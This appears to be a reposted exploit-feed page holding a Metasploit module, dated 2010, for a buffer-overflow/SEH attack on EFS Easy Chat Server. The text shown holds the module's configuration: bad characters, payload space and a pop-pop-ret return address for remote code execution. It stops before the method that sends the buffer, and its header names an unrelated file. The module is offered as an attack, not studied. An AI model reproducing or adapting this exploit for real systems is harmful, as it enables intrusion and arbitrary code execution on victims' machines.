Home » Exploits » EFS Easy Chat server Universal BOF-SEH (Meta) EFS Easy Chat server Universal BOF-SEH (Meta) Feeds - Exploits Written by FB1H2S    Thursday, 21 January 2010 16:07 ## # $Id: ca_igateway_debug.rb 6568 2009-05-19 13:20:32Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote     include Msf::Exploit::Remote::Tcp     include Msf::Exploit::Seh     def initialize(info = {})         super(update_info(info,             'Name'           => 'EFS Easy Chat server Universal BOF-SEH (META)',             'Description'    => %q{                 This module exploits a vulnerability in Easy chat server by passing                 an arbitary evil biuffer along with the username password.                 Sucessful attack could run arbitary code on victim machine             },             'Author'         => 'FB1H2S',             'License'        => MSF_LICENSE,             'Version'        => '',             'References'     =>                 [                     [ 'Exploitdb', 'http://www.exploit-db.com/exploits/11179' ],                 ],             'DefaultOptions' =>                 {                     'EXITFUNC' => 'seh',                 },             'Payload'        =>                 {                     'Space'    => 1200,                     'BadChars' => "\x00\x0a\x0d\x20",                     'StackAdjustment' => -3500,                     'Compat'   =>                     {                         'ConnectionType' => '+ws2ord',                     },                 },             'Platform'       => 'win',             'Targets'        =>                 [                     [ 'EFS Easy Chat Server Universal', { 'Ret' => 0x1001b9a2 } ], # p/p/r                 ],             'Privileged'     => true,             'DisclosureDate' => 'jan 2010',             'DefaultTarget'  => 0))

Security Services by HSC Contact us Become partner Advertise with us Join our staff